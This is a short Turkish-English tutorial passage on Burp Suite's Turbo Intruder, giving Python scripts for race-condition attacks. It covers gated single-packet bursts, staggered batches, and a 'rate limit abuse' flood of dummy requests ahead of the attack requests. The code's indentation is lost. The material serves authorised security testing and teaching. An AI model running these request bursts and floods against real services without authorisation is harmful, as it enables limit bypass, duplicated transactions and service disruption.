Turbo Intruder extension'ı, kompleks race condition saldırıları için Python tabanlı güçlü bir araçtır. Multiple retry, staggered timing ve extremely large request volumes için uygundur.
def queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
for i in range(20):
engine.queue(target.req, gate='1')
engine.openGate('1')
def handleResponse(req, interesting):
table.add(req)
Advanced Timing Strategies:
import time
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5)
for i in range(10):
engine.queue(target.req, gate='batch1')
time.sleep(0.1)
for i in range(10):
engine.queue(target.req, gate='batch2')
engine.openGate('batch1')
engine.openGate('batch2')
Rate Limit Abuse Technique:
Rate Limit Abuse Stratejisi:
• Çok sayıda dummy request ile rate limit'i tetikle
• Server-side delay oluştur
• Bu delay süresinde single-packet attack gerçekleştir
• Delayed execution'ı race condition'a dönüştür
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint)
for i in range(100):
dummy_req = target.req.replace('POST', 'GET')
engine.queue(dummy_req, gate='flood')
for i in range(25):
engine.queue(target.req, gate='attack')
engine.openGate('flood')
time.sleep(0.05)
engine.openGate('attack')
Flexibility: Complex timing scenarios
Scale: Thousands of requests
Control: Precise gate management
Analysis: Custom response processing
Turbo Intruder Gereksinimleri:
• HTTP/2 support (single-packet için)
• Python proficiency
• BApp Store'dan latest version
• concurrentConnections=1 (single-packet için)